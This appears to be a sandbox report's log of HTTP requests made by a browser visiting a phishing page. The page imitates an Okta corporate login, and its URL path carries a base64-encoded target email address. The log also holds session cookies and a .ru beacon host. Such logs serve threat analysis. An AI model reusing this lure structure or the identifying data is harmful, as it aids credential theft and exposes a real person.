Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InphbVFvc1NNN1dBayszeXZ4N0ppWlE9PSIsInZhbHVlIjoickJRUGJaL0UrRjRvbTNSQklyZ0F1bGtZTEpjSXg0dkFHajRaWDIrRGdVNWlOc2liazc3alJTUFhMVGdhTXZ2TDJlZjhMQ09SVVNYWmhNUitCcXFZY0dqenhCeDM0TThHODVJdmxGSER1NHFRdDF1U1I2ZXJJMVM2eWsvalRORU4iLCJtYWMiOiIzZDJkOWE4MDFjYzczYzJjOTBmMjgyYWYzODY4YTdkNWE4YTMyOGRmMzg0YTMwM2M0YTMzMzc4MzZmMTJjZjBhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkoyVjc4emo2NDJtR1gzalFUNm14Tnc9PSIsInZhbHVlIjoiNHlJTyt5T3NqZkxDMU84TzlKRmdEQm5CN08rYWZlR3I2S2Vyd0N3Uy9ML3FubVRUY25zL2hRcVN3VVpLQ0VnTlV6NUVuT3dqN2lRbkM0L3E5MC9ldmNZdTllckx0bjRIMWZWNWRyS0NBUGpZanJoWDc1V0RXaVp3MG9yNDRXN3oiLCJtYWMiOiJiZTg4MzM1OGJmNjM2OGM4ODQ3Y2IyNWIxMDEyMmMzYzM3YzM0NDBiMjM3MWM0OGM2ZTg3OGQzMzExMjQyMDRhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kella$aikufo HTTP/1.1Host: 5s0vuk.hxnywi.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ea.gdpfjvzprf.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$aikufo HTTP/1.1Host: 5s0vuk.hxnywi.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZGSGtRbGVEaE1QQVRiU3Jzek42RWc9PSIsInZhbHVlIjoicmFSb0Vwc3EwalAvTjZ1RnU2RDJ4UFdCZmZZcTdFZVRQMmZPcFZaeEZuVlFOdVhPRjFWY0RlMWNSSm5PUW85ZklOU1pwQ0xhODRDT0hmMjIrdUYzU3N3MmlUcXdwZjE2SFhraFpCZmhDbWF5VmdqYjV6eGtaa2NnWnlTK2wyOWgiLCJtYWMiOiI3ZDcyOGNhZjRiNGMzODAwZWE1ZmQxYTk2NDM5ODQwMjIxNTY4MmRjMWI2NWFhM2YwZDBhY2VjNGViMTQ4Y2ExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlF6TnJML3pLZlZxK0lTemI0TkJHVXc9PSIsInZhbHVlIjoiMVExVEROQlBzTTcrd2ExZnl0bEdQMXR6a085MGlIU0ZrdFlBS2pja0E0c2JFUmltRVVzbXBUVktDVDVRaE4zWVJOV3Uwd3Z3MEt3Tm0rZ1lWWVNRRFBGK0NKVFB1T01xVnROWUhPZWl2cVA4cmJDQjBET0cxWFE2U2FXbGdMUEciLCJtYWMiOiJjZDRlYjMyMWU4ZTAwMjVkZDhmN2E0MjRhYjI1ZjgyZjhmMjRmNTNiN2IwYTY1Y2FjZmFhMWQ5MzgwYmUxZWQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /jiGKex3XPK0msVlLiCAhVu6XcjV93iURFfpzRyziBil HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZGSGtRbGVEaE1QQVRiU3Jzek42RWc9PSIsInZhbHVlIjoicmFSb0Vwc3EwalAvTjZ1RnU2RDJ4UFdCZmZZcTdFZVRQMmZPcFZaeEZuVlFOdVhPRjFWY0RlMWNSSm5PUW85ZklOU1pwQ0xhODRDT0hmMjIrdUYzU3N3MmlUcXdwZjE2SFhraFpCZmhDbWF5VmdqYjV6eGtaa2NnWnlTK2wyOWgiLCJtYWMiOiI3ZDcyOGNhZjRiNGMzODAwZWE1ZmQxYTk2NDM5ODQwMjIxNTY4MmRjMWI2NWFhM2YwZDBhY2VjNGViMTQ4Y2ExIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlF6TnJML3pLZlZxK0lTemI0TkJHVXc9PSIsInZhbHVlIjoiMVExVEROQlBzTTcrd2ExZnl0bEdQMXR6a085MGlIU0ZrdFlBS2pja0E0c2JFUmltRVVzbXBUVktDVDVRaE4zWVJOV3Uwd3Z3MEt3Tm0rZ1lWWVNRRFBGK0NKVFB1T01xVnROWUhPZWl2cVA4cmJDQjBET0cxWFE2U2FXbGdMUEciLCJtYWMiOiJjZDRlYjMyMWU4ZTAwMjVkZDhmN2E0MjRhYjI1ZjgyZjhmMjRmNTNiN2IwYTY1Y2FjZmFhMWQ5MzgwYmUxZWQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImI2SWpLTnYrT0VZTkN4RGIrZ3kydmc9PSIsInZhbHVlIjoiQktvTzg0a3NXRjZxY24ycVZWQnlESjViSkhMTjVJNTlubzRmUlVZV2FzWXV2ZjM0M1hnVVc0azZiYUFMUWsxTmpkdDk4UjEzVHFMdkpBN3NwU1g5SzhZeGUwbHVmSDgzSVZ5RUo5RUpOZkVnRDd5TmtYWW9QemRRVVRyUnFUSWIiLCJtYWMiOiJkZTM1MGVkNGFiYTc5Mjk5MmViZDk4ZmY1MjQ5ZjdiYmRhMzQ3MGJhOTczZjE2M2E2NjQ2YjE1MjYwNWExNzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEvZjZybEN4OU1yU3cwWEQvR2dnWGc9PSIsInZhbHVlIjoiQ1dyQXN6RDI3dzVHYmMvZ3d5MkJwdG0xTndoNXlYTDdHaEhxSTRZTnJIWElLZHpXNjl5NVhnQnhNdTQ1ZEpEV3F3U1ZPeHNqMCtveUErbHAvdENsWjd3RVU3L3V2NGFtQnQ3a25KdldkdXRBS2J0cGVKMXNYYURoc0hvdXJZemEiLCJtYWMiOiI5ODNiOGRkYWQwMjg1YTYxYzQxMjE4N2UyYTYzYmZkZmQ0MGYyM2U0OTNmMjRmNDU5NzQyNTQ5YWYxNzQ4ZDMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kfTJ6QTdDVljK18vstNu7q6r7TjiwgfIl0qyGiNa8NrQZew HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImI2SWpLTnYrT0VZTkN4RGIrZ3kydmc9PSIsInZhbHVlIjoiQktvTzg0a3NXRjZxY24ycVZWQnlESjViSkhMTjVJNTlubzRmUlVZV2FzWXV2ZjM0M1hnVVc0azZiYUFMUWsxTmpkdDk4UjEzVHFMdkpBN3NwU1g5SzhZeGUwbHVmSDgzSVZ5RUo5RUpOZkVnRDd5TmtYWW9QemRRVVRyUnFUSWIiLCJtYWMiOiJkZTM1MGVkNGFiYTc5Mjk5MmViZDk4ZmY1MjQ5ZjdiYmRhMzQ3MGJhOTczZjE2M2E2NjQ2YjE1MjYwNWExNzU3IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImEvZjZybEN4OU1yU3cwWEQvR2dnWGc9PSIsInZhbHVlIjoiQ1dyQXN6RDI3dzVHYmMvZ3d5MkJwdG0xTndoNXlYTDdHaEhxSTRZTnJIWElLZHpXNjl5NVhnQnhNdTQ1ZEpEV3F3U1ZPeHNqMCtveUErbHAvdENsWjd3RVU3L3V2NGFtQnQ3a25KdldkdXRBS2J0cGVKMXNYYURoc0hvdXJZemEiLCJtYWMiOiI5ODNiOGRkYWQwMjg1YTYxYzQxMjE4N2UyYTYzYmZkZmQ0MGYyM2U0OTNmMjRmNDU5NzQyNTQ5YWYxNzQ4ZDMwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56u3hKcXny4pxyvrI6718 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyNePnI2CqYMursoYNcd29 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-aliveOrigin: https://ea.gdpfjvzprf.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHFAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IldjdGlDQTVZTDd5eW9vUU1oYSt1d3c9PSIsInZhbHVlIjoiQjNTem0yOGZMUlBjSy9CZjZuNS9DZDlsRW50RWZPT05GdDYrSEhQYkZneDdzVmdSYm9jRUd4YjV1My9sTTVBdndydzN6VUl2Z1lxb0E3cUVjdDdUNmEySXZKcnphZGRibEFNcEFOSlNVZHhMN1luODhEbXdtUUZlaWdNMmx5SWQiLCJtYWMiOiI2YTYzOTkzZjc5ODA0ZDQ5YTU2MDhiMjAyODA1NDIxMDcyMTU5NDcxZjYzN2JmNzRhNzBiMjMyZGExMzQ5NGJmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllHLzUxZDRrR0RtY0txRXZCY3FQNWc9PSIsInZhbHVlIjoieGF6dUhyZ09JK0N5U3oxc05Uc2Z4OHM3alFSTFZFYU5XazI2aWtXREV5R3BrYjM2MWN6WFVrZUhWc3ZEeS8ybHo2a0tONFFqTEE3akN3aTZFeGlmUnpJY0ZlR3JTNHhZK2t1dExpYjNhbUxZdXVtZHl6UE1BQjNYV3Rnb3F4VDMiLCJtYWMiOiIyYTQyMDIwYTIzNDMwNTlmNGM3OTEwMThjZWRlMGJmYTAxMzRmYjJkOWI1ZGQzOWM4N2YwMjAzOTU0YmRhZTcyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ea.gdpfjvzprf.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
